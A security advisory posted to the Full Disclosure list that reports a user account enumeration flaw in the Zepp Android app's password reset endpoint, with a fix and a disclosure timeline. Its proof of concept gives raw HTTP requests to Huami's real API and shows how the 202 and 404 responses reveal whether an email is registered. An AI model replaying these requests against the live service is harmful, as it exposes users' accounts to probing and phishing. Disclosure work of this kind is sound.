[<prev] [next>] [day] [month] [year] [list]
Message-ID: <SYd-MLstWEGO0G-ky1PTqoD7URDwxhhzoVgHns6QpuSrsR3Njl-KMuE9IFwX-AcJO5xb-1LberxMp0RF-xoVZuoswCc13KScLx7UFo35WnI=@trovent.io>
Date: Wed, 27 Apr 2022 15:59:35 +0000
From: Stefan Pietsch <s.pietsch@...vent.io>
To: Packet Storm <submissions@...ketstormsecurity.com>,
Full Disclosure <fulldisclosure@...lists.org>
Subject: [FD] Trovent Security Advisory 2108-02 / Zepp: User account
enumeration in password reset function
# Trovent Security Advisory 2108-02 #
#####################################
User account enumeration in password reset function
###################################################
Overview
########
Advisory ID: TRSA-2108-02
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2108-02
Affected product: Zepp Android mobile application (com.huami.watch.hmwatchmanager)
Tested versions: Zepp 6.1.4-play
Vendor: Huami Inc., https://www.zepp.com
Credits: Trovent Security GmbH, Karima Hebbal
Detailed description
####################
Zepp is a mobile application to collect health information from Zepp or Amazfit
devices.
Trovent Security GmbH discovered a user account enumeration vulnerability in
the password reset function of the Zepp mobile application.
This vulnerability allows to check if a user with a specific email address is
registered or not.
Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWE ID: CWE-204
CVE ID: N/A
Proof of concept
################
Sample HTTP request sent with a registered email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
DELETE /registrations/ptesttest33%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2
Host: api-user.huami.com
App_name: com.huami.midong
Accept-Language: en-US
X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Accept-Encoding: gzip, deflate
Content-Length: 0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The server response to a valid email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/2 202 Accepted
Date: Mon, 30 Aug 2021 12:38:52 GMT
Content-Type: application/json
Content-Length: 39
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
"HuaMi Oauth / User Registration 2.0.2"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sample HTTP request sent with a non-registered email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
DELETE /registrations/false%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2
Host: api-user.huami.com
App_name: com.huami.midong
Accept-Language: en-US
X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003)
Accept-Encoding: gzip, deflate
Content-Length: 0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The server response to an invalid email address:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/2 404 Not Found
Date: Mon, 30 Aug 2021 12:40:08 GMT
Content-Type: application/json
Content-Length: 39
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
"HuaMi Oauth / User Registration 2.0.2"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution / Workaround
#####################
Ensure the application returns a consistent message for both existent and
non-existent accounts during the password reset process.
History
#######
2021-08-30: Vulnerability found & advisory created
2021-09-24: Vendor contacted
2021-10-25: Vendor contacted again
2021-11-18: Vendor contacted again
2022-04-27: No reaction from vendor, advisory published
Download attachment "signature.asc" of type "application/pgp-signature" (856 bytes)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists